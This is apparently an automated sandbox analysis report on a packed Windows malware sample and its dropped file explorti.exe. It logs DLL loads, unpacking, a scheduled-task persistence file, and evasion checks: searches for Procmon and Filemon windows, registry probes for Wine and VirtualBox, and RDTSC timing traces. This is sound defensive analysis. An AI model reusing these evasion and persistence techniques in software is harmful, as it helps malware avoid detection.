Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: 8vZMEr8sm9.exe

Static file information: File size 1942528 > 1048576

Source: 8vZMEr8sm9.exe

Static PE information: Raw size of xdymjpys is bigger than: 0x100000 < 0x1a8c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Unpacked PE file: 4.2.8vZMEr8sm9.exe.e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 11.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 12.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 15.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 19.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 21.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 23.2.explorti.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xdymjpys:EW;poxsfwvj:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x26f7b6
Source: explorti.exe.4.dr	Static PE information: real checksum: 0x1e5a34 should be: 0x1dc542
Source: 8vZMEr8sm9.exe	Static PE information: real checksum: 0x1e5a34 should be: 0x1dc542

Source: 8vZMEr8sm9.exe	Static PE information: section name:
Source: 8vZMEr8sm9.exe	Static PE information: section name: .idata
Source: 8vZMEr8sm9.exe	Static PE information: section name:
Source: 8vZMEr8sm9.exe	Static PE information: section name: xdymjpys
Source: 8vZMEr8sm9.exe	Static PE information: section name: poxsfwvj
Source: 8vZMEr8sm9.exe	Static PE information: section name: .taggant
Source: explorti.exe.4.dr	Static PE information: section name:
Source: explorti.exe.4.dr	Static PE information: section name: .idata
Source: explorti.exe.4.dr	Static PE information: section name:
Source: explorti.exe.4.dr	Static PE information: section name: xdymjpys
Source: explorti.exe.4.dr	Static PE information: section name: poxsfwvj
Source: explorti.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 11_2_0017D82C push ecx; ret

11_2_0017D83F

Source: 8vZMEr8sm9.exe	Static PE information: section name: entropy: 7.985398137161333
Source: 8vZMEr8sm9.exe	Static PE information: section name: xdymjpys entropy: 7.954592729390372
Source: explorti.exe.4.dr	Static PE information: section name: entropy: 7.985398137161333
Source: explorti.exe.4.dr	Static PE information: section name: xdymjpys entropy: 7.954592729390372
Source: random[1].exe.11.dr	Static PE information: section name: entropy: 7.995256620102285
Source: random[1].exe.11.dr	Static PE information: section name: entropy: 7.979597916994264
Source: random[1].exe.11.dr	Static PE information: section name: entropy: 7.951278738489968

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DAD8E second address: 2DADA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DADA8 second address: 2DADBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007F9B30829926h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DADBA second address: 2DADC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DADC0 second address: 2DADC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DADC4 second address: 2DADD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DADD0 second address: 2DADE8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9B3082992Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2D9F21 second address: 2D9F31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9B30E293B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA045 second address: 2DA05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B3082992Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F9B30829926h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA05D second address: 2DA06B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9B30E293B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA06B second address: 2DA075 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9B30829926h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA075 second address: 2DA0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F9B30E293C5h 0x0000000e jnl 00007F9B30E293B6h 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007F9B30E293B6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA0A6 second address: 2DA0AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA0AA second address: 2DA0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F9B30E293B6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA0C4 second address: 2DA0C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DA252 second address: 2DA25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9B30E293B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DC7B0 second address: 2DC7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DC855 second address: 2DC8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B30E293C1h 0x00000009 popad 0x0000000a popad 0x0000000b add dword ptr [esp], 06A788DEh 0x00000012 mov edx, 5CDF60E4h 0x00000017 lea ebx, dword ptr [ebp+1246165Bh] 0x0000001d jmp 00007F9B30E293C4h 0x00000022 jmp 00007F9B30E293C5h 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d jbe 00007F9B30E293B6h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DC964 second address: 2DC969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DCAAB second address: 2DCADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9B30E293BBh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e add dx, F58Dh 0x00000013 push 00000000h 0x00000015 add cx, ED87h 0x0000001a push 49E650AAh 0x0000001f jns 00007F9B30E293C4h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2DCADA second address: 2DCADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC165 second address: 2FC16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC16B second address: 2FC17F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9B30829926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F9B30829926h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC2BD second address: 2FC2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC2C3 second address: 2FC2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC2CC second address: 2FC2F0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9B30E293CFh 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC57C second address: 2FC58C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jo 00007F9B30829969h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC58C second address: 2FC590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC590 second address: 2FC5B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829934h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F9B30829941h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC9A8 second address: 2FC9D0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9B30E293B6h 0x00000008 jno 00007F9B30E293B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jmp 00007F9B30E293C5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FC9D0 second address: 2FC9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FD1CD second address: 2FD1D7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9B30E293C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FD1D7 second address: 2FD1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2FD995 second address: 2FD9B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9B30E293BFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jo 00007F9B30E293B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
